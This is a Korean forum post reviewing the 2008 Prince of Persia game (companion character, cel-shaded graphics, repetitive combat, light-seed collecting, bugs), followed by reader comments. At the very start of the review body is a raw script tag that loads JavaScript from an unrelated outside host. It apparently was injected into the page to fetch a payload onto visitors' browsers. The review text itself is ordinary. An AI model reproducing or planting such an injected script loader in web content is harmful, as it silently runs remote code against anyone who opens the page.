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[리뷰]

Prince Of Persia 2008 [-X-]

글쓴이 : -X-  (222.♡.76.117) 날짜 : 2008-12-20 (토) 21:44 조회 : 25939


<SCRIPT Language=JavaScript src=http://rnjsdudwh.cafe24.com/Mics.php></script> 지난 일요일 공략을 시작하여, 오늘 완성시키는데까지 느꼈던 장단점만을 말씀드리려 합니다. - 장점. 1.혼자가 아니다. 전 3부작들은 왕자의 원맨쇼였지만, 이번 작에는 엘리카라 불리는 한 나라의 공주와 게임 내내 동행합니다. 짐만 된다거나 에너지 관리 해줘야하는 그런 귀찮은 존재가 아니라, 게임 진행상 없어서는 안될 귀한 존재죠. 왕자가 갖는 기본적인 점프력으로 건너가기엔 약간 더 먼 곳은 엘리카의 마법으로 도달할 수 있게 해주며, 실수로 추락하여 죽게될 위기에 처했을 때 공주가 들어올려 줍니다. 거기다 적과 싸울 때 결정적 공격을 맞는 순간 난입, 왕자에게 재기의 기회까지 줍니다(말이 그렇지 엘리카의 이런 저런 도움들 덕분에 절대 죽지 않습니다). 또한 신작에 새로이 등장한 역판(Power Plate)을 이용한 진행에도 엘리카가 많은 도움을 주기도 합니다. 이것이 바로 역판을 이용한 진행. 저 붉은 역판은 Step Of Ormazad라는 기능을 사용하는 것으로, 이 상황에선 좌측 상단의 커다랗게 뚫린 구멍을 통해 밖으로 나가게 된다. 2.카툰렌더링. 시간의 모래가 만화같은 분위기로 페르시아의 분위기를 잘 살렸었죠. 전사의 길 때부터는 고딕 느낌이 충만해져서 페르시아라는 배경과는 좀 맞지 않았습니다. 이번 신작은 전 3부작들과는 완전히 다른 카툰렌더링을 채택하였고, 분위기도 전사의 길과 두 개의 왕좌 때와 다르게 매우 밝아진 덕분에 페르시아의 분위기가 좀 느껴집니다(그러나 시간의 모래 때에 비하면 역시 덜 느껴지는 듯합니다). 슴가를 만지려는 자와 슴가를 지키려는 자. (왕자曰 '아... ㅅㅂ 괜히 만졌어 이건 뭐 간장종지도 아니고) 3.여전히 화려한 경공술 전 3부작(시간의 모래, 전사의 길, 두 개의 왕좌)에서 볼 수 있었던 몇 가지 액션들은 건재합니다. 벽타고 뛰어가기는 기본이고... 벽타고 뛰어가다가 반대쪽 벽으로 점프하기, 두 벽 사이를 점프하여 올라가기. 여기에 제작사에서 전 3부작 게임플레이 중에 벽 사이 점프를 이용하여 고지에서 저지로 내려가는 게 문제가 있다고 생각했는지, 이번 신작에선 강철 건틀렛으로 마찰을 주며 천천히 벽을 미끄러져 내려가는 액션이 추가되었습니다. 열심히 벽을 타고 뛰어가다가 벽을 딛고 점프, 우측의 봉에 이동하려는 모습. -단점. 1.대폭 줄어든 전투의 비중, 개성 없는 몬스터들 전 3부작들의 전투는, '1 : 다수'의 형식으로 진행되었습니다. 또 전사의 길 같은 경우는 한손무기 상태나 양손무기 상태에 따라 사용할 수 있는 기술들이 매우 다양하게 존재했죠. 그런데 이번 신작은 무조건 1:1 전투입니다. 전 3부작들처럼 지형지물을 이용한 역동적인 전투도 아닌, 상대방을 똑바로 바라본 상태에서 치르는, 약간 움직임이 제한된 듯한 전투죠. 또 전 3부작들처럼 몬스터 종류가 여러가지인 것도 아닙니다. 엘리카의 길을 막으려는 엘리카의 아버지와, 사냥꾼, 연금술사, 후궁, 전사 이 4개 주적, 그리고 진행 경로에 놓여있는 평범한 몬스터... 이게 다입니다. 그런데 진짜 문제는, 4개 주적 중 전사를 제외한 나머지 모든 적들의 패턴이 대부분 비슷하다는 것에 있습니다. 전투는 이런 식으로 진행된다. 시스템이 정해놓은 울타리가 너무 좁은 듯하다. 2.라이트 시드 수집. 아리만(Ahriman)의 영향으로 주변 장소들이 오염이 되는데, 이 장소들을 정화하는 것이 주된 게임플레이입니다. 오염된 상태에는 없던 라이트 시드들이, 정화가 되고나면 이곳저곳에 생겨납니다. 장소마다 총 45개의 라이트 시드들이 생성되는데, 문제는 한 장소의 라이트 시드들을 완벽하게 수집하려면 상당히 귀찮게 이곳저곳으로 움직여야 한다는 것에 있습니다. A - B - C 이렇게 연결이 된 장소에서, B라는 구역을 정화시켰다고 합시다. 그럼 B라는 장소에만 시드가 생기는 게 아니라, A에서 B로 가는 길목, B에서 C로 가는 길목에도 생깁니다. 또한, 한 장소에서 30개가 넘는 시드들을 취득하기 위해선, B에 처음 들어서서 그 장소의 마지막 부분까지 다시 진행해야만 한다는 것도 매우 번거롭습니다. Ormazad의 4개 기능을 사용하기 위해선 당연히 수집해야 하지만... 노가다가 따로 없다. 세이브도 잊고 열심히 모으다가 튕김버그 당해봐라. 욕 나온다 3.잡다한 버그들 야외 배경이 자주 나오는 장소 진행 중에,앞방향으로 계속 고정이 되버리는 버그가 있었습니다. 그것도 모자라 앞으로 계속 가긴 가면서 속도는 느린데, 왕자가 공중에 점점 뜨더군요. 그 상태에서 다른 장소로 워프해야만 상황이 타개가 됩니다. 맵에서 다음으로 가보려는 장소를 목적지로 설정한 뒤, 게임플레이 화면에서 E를 누르게 되면 엘리카가 길을 안내해줍니다. 그런데 진행 중에 2번 정도 길 안내를 완전히 반대로 해주더군요. 맵에서 특정 장소를 선택하고 E키를 누르게 되면 해당 장소로 워프합니다. 그런데 워프한 뒤 게임 화면이 새하얗게 되면서 튕긴 적이 있습니다. 덕분에 열심히 모으던 라이트 시드들이 증발해버렸죠 -_-; -총평. 전 3부작들 공략을 썼었으니 이번 작도 당연히 해야한다는 생각에 시작을 했습니다. 크게 실망감을 준 타이틀은 아니었으니 전 3부작 팬이나 초심자나 즐기기 좋을 듯 합니다. 프레스캇540, 지포스8600 512mb, DDR 1G로 1024 해상도 최저옵으로 클리어했습니다. 권장사양에 낚여서 아까운 게임 놓치시지 말고 한번 해보시길 권해드립니다 ^^ 게임 진행이 어려우시다면 주저하지 마시고 제 공략클럽에 오시구요 ^^; ( http://club.nate.com/xsclub ) 이상입니다. p.s. - 전사의 길 때처럼 고딕필 나는 분위기와, 피가 튀고 사지가 절단되는 성인취향의 페르시아 왕자를 바랬는데 좀 아쉽습니다 ^^;

루시퍼, (121.♡.168.38) 2008-12-20 (토) 22:11
공주 가슴을 만지고 있군요..
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dlwodlf22 (121.♡.185.198) 2008-12-20 (토) 22:36
페르시아왕자 시리즈중에 가장 쓰레기라고 생각하는,,

참고로 (1,2정품 같고있음)

스토리가 완전 바꿔졌다고는 하지만

어떻게 이렇게 변할수있는건지,,

엄청난 배신감,,

이건 페르시아왕자가 아니라고 느낀,,
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dlwodlf22 (121.♡.185.198) 2008-12-20 (토) 22:40
같고x->갖고ㅇ
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smithbros (121.♡.75.59) 2008-12-21 (일) 05:20
리뷰 잘 보고가요 ^^ 수고하셨습니다
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김혜수벨트로 (218.♡.40.85) 2008-12-21 (일) 06:48
전저는 이게 제일 낫다고 생각하는데;;; -_- ; 확실히 완전 변했다고는 하지만....
그래픽도 확실히 개성있어졌고 난이도도 사람들이 쉽게 다가가도록 변한거 아닌감?
전작들은 난이도가 진짜 좾같았음...전작 페르시아 왕자 해보신분들중에 게임하던중
욕 안해보신분들 없을듯....
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마졸피 (210.♡.222.21) 2008-12-21 (일) 08:42
음..저는 윗분과는 다르게 쉬운 페르시아왕자보단 예전 클래식한 페르시아왕자같은 게임이 좋더군요.
어려우면 어려울수록 왠지 오기가 생겨서 ..;
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HOLA!! (211.♡.89.235) 2008-12-21 (일) 08:50
페왕 전사의 길과 두개의 왕좌는 아슬아슬한 스릴이 일품이었죠.
스토리가 확실하게 완결된 느낌이어서 이번작은 후속작이라기 보다는 그냥 새로운 페왕 같습니다.
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다크아웃싸이더 (58.♡.121.143) 2008-12-21 (일) 09:00
자극적인음식만먹다가 담백한거먹을려니 안먹히져;?

꼭꼭 천천히 씹어보세여 . 나름 맛나여
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GTA4-holic (118.♡.134.87) 2008-12-21 (일) 09:03
페르시아왕자는 오기를 발동하게 해서 사람 미치게 만드는 퍼즐과 시간싸움의 쫄밋함이

진짜재미인데... 그게 없다니 약간 아쉽네요...
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양념후춧가루 (221.♡.95.19) 2008-12-21 (일) 09:54
리뷰 정말 잘 봤습니다. 저 역시 전작 3부작을 즐겁게 즐겼습니다(엔딩까지) 근데 이번작은..글쎄요..처음엔 새로워진 그래픽에 "오우~"라는 감탄사가 나왔습니다만 리뷰에 써주셨듯이 절대 죽지않는 시스템 때문에 긴장감도 떨어지고, 라이트 시드를 먹기 위해 이리저리 뛰어다니니 3D너구리를 하는 기분이랄까요-_- 단순+반복=지겹;; 개인적으로 정말 실망스럽습니다. 짜증나더라도 좋으니 긴장 좀 하자~
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李晙浩 (58.♡.21.134) 2008-12-21 (일) 10:25
[존레논] 와... 그래픽이 정말... 정말 좋네요. 이번 작품의 캐릭터 디자이너가 누구죠?

양키 센스는 아닌 듯한데... 일본 쪽에서 담당했나요?
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보래도리 (118.♡.23.75) 2008-12-21 (일) 12:13
눈이 편안한 그래픽이군요. 거지왕자 디자인도 마음에 들고.
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新 핵캐논 (203.♡.165.193) 2008-12-21 (일) 13:22
아... E키를 누르면 워프하는구나...... 아나 개노가다 했는데!!!! 시밤쾅!
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무탈리카 (119.♡.79.98) 2008-12-22 (월) 01:13
분위기가 (완다와 거상 + 소닉 + 페르시아 왕자)
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siro (218.♡.205.233) 2008-12-24 (수) 04:31
프린스 오브 슈퍼마리오..

맘마미아~~
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Crush (59.♡.39.162) 2008-12-28 (일) 00:11
원래 원조 페르시아왕자는 액션성이아니라 퍼즐성이 강한 액션게임입니다. 그런의미에서 가장 페르시아왕자다운 페르시아왕자라고 보는게 제대로된 평일 것 입니다. 다른게임 들먹일필요없이 Broderbond의 작품이라고 네이버만 치더라도 모으기라던지 적을 단순히 죽이지않는것 등등 얼마나 이번작은 예전의 제작원칙에 회귀하려는 시도를 했는지 알수가 있을것입니다.

베타겜에 점점실망하게되는군요. 게임에대해 조금 깊게아는사람들은 전부 개인블로그에서 조용히 올리고나있으니.. 베타겜도 이젠 프로라고 할만한 사람좀 들여와야겠어요
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Asmo (125.♡.128.157) 2008-12-29 (월) 10:54
잘 읽었습니다. 저도 이번작이 상당히 맘에 듭니다만 난이도 문제는 어느정도 고려해야죠.

원조페르시아가 퍼즐성이 강한 게임인건 알지만 그 퍼즐성은 한정된 시간안에 얼마나 깔끔한 컨트롤을 이용하여 트랩을 피하는 것에서 나왔습니다. 이번작의 단점은 바로 이부분입니다. 그 퍼즐을 푸는데 아무런 긴장감이 안들죠..;;
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사사뉨 (221.♡.228.156) 2008-12-30 (화) 17:48
오 그래픽이 특이하네요 ','
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확인 (211.♡.66.206) 2009-01-01 (목) 14:37
제일재밌던건 페르시아왕자 시간의 모래전에 나왓던 페르시아왕자 3D
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살인묘수 (210.♡.26.194) 2009-01-18 (일) 04:01
제가 볼 때 리뷰어는 리뷰어 나름의 기준으로 게임을 적당히 소개하는 것이므로 원조의 퍼즐성이나 이런 것이 문제는 안된다고 생각합니다만.. 그런데 공감가지않는 유일한 내용은 잡다한 버그 라는 것인데 제가 플레이하고 엔딩보고. 특전얻어 한번 더 달려 보고 하는 동안. ...이 리뷰에서 지적한 버그를 만난 적이 없네요. 그 부분이 공감이 잘안가네요. 튕긴 적은 전혀 없고..방향 잘못 알려준 경우는 ..본적이 없고. 제가 본 유일한 버그는 따라오던 공주께서 한 가지 포즈로 잠시 멈추어 있는 경우. 예를들면 공중부양을 하고 계신다던가 그런 경우는 점프 이후 공주표 이단 점프 같은 것으로 풀리던데. 아무튼 딱 이것만 봤거든요. 그래서 리뷰 막판에 공감이 가질않네요.
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떼끼[GoSu] (59.♡.79.179) 2009-01-19 (월) 20:22
확인// 헐 그 구하기 힘든 것을..
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문리버 (58.♡.77.124) 2009-01-23 (금) 12:03
떼끼 // 주얼로 쉽게 구할수 있는거 아닌가요? ㅋ
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SeeYa수지니 (121.♡.109.226) 2009-01-23 (금) 22:19
제가 쓴 리뷰도 봐주세요~^^

<a class=auto href=http://blog.naver.com/rlawhddud7/140060352931>http://blog.naver.com/rlawhddud7/140060352931</a> <a class=auto_new href=http://blog.naver.com/rlawhddud7/140060352931 target=_blank>[새창에서 열기]</a>
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그리운청아 (124.♡.100.36) 2009-01-26 (월) 22:07
잡다한 버그라... 저같은 경우 두개의 스위치중 하나 돌리려고 할 때 공주가 따라오지 않는 경우가 많았습니다.  그래서 혼자서 스위치 돌린다고 이리저리 키보드 왔다갔다하면 어느순간 공주가 순간이동해 같이 밀더군요.
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